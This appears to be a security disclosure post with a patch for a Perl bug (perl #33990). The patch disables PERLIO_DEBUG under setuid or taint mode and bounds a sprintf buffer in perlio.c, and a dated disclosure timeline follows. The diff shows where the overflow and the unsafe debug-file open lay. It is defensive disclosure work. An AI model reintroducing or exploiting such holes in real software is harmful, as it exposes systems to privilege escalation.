The following patch for this bug was provided by Mandrake care of the vendor-sec list. This patch also fixes the bug that is described in DMA[2005-0131a].

Index​: perlio.c

--- perlio.c (revision 4342) +++ perlio.c (revision 4346) @​@​ -454\,7 +454\,7 @​@​   va_list ap;   dSYS;   va_start(ap\, fmt); - if (!dbg) { + if (!dbg && !PL_tainting && PL_uid == PL_euid && PL_gid == PL_egid) {   char *s = PerlEnv_getenv("PERLIO_DEBUG");   if (s && *s)   dbg = PerlLIO_open3(s\, O_WRONLY | O_CREAT | O_APPEND\, 0666); @​@​ -471\,7 +471\,7 @​@​   s = CopFILE(PL_curcop);   if (!s)   s = "(none)"; - sprintf(buffer\, "%s​:%" IVdf " "\, s\, (IV) CopLINE(PL_curcop)); + sprintf(buffer\, "%.40s​:%" IVdf " "\, s\, (IV) CopLINE(PL_curcop));   len = strlen(buffer);   vsprintf(buffer+len\, fmt\, ap);   PerlLIO_write(dbg\, buffer\, strlen(buffer));

This is timeline associated with this bug.

01/30/2005 09​:29 AM - Mail to larry wall\, perlbug\, vendor-sec et all 01/31/2005 04​:25 AM - Rafael Garcia-Suarez disabed PERLIO_DEBUG in sperl 01/31/2005 08​:31 AM - perl #33990] [RESOLVED] 01/31/2005 11​:15 AM - perl-5.8.6-bug33990.patch passed on from Mandrake cvs

-KF